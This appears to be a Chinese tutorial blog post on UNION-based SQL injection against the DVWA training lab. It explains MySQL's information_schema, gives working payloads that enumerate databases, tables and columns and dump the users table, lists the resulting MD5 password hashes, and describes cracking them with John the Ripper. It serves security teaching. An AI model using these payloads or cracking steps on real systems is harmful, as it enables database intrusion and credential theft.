二十二、SQL注入(2)流程

对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;

  • 1、mysql数据库的元数据均存在与information_schema,如mysql中有哪些数据库,数据库名称、数据库表等等

1.1 暴出mysql中包含的所有库所有表:

' union select table_name,table_schema from information_schema.tables--+

显示所有库、表

1.2 显示mysql中有几个schema及每个schema中包括多少张表:

?id='+union+select+table_schema,count(*)+FROM+information_Schema.tables+group+by+table_schema+--+

schema及包含表数量

1.3查询dvwa中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
dvwa中的表名

1.4查询dvwa中user表中的所有列

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

user表中包含的所有列

1.5查询user表中user、password列的内容

三种方式:
' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+   //concat与concat_ws的区别是:concat_ws需要首字段执行分隔符,而concat直接按照顺序写,哪个是分隔符直接表明
user、password列内容

第三种以:形式分隔输出user和password

1.6猜测破解密码
上面的密码是通过什么算法进行hash,可以在kali终端使用hash-identifier进行判断:为md5计算

image.png

将上述结果得到的用户名和密码,使用:分隔写入到dvwapass.txt文件中

admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99

使用john密码破解工具破解密码


john破解结果

你可能感兴趣的:(二十二、SQL注入(2)流程)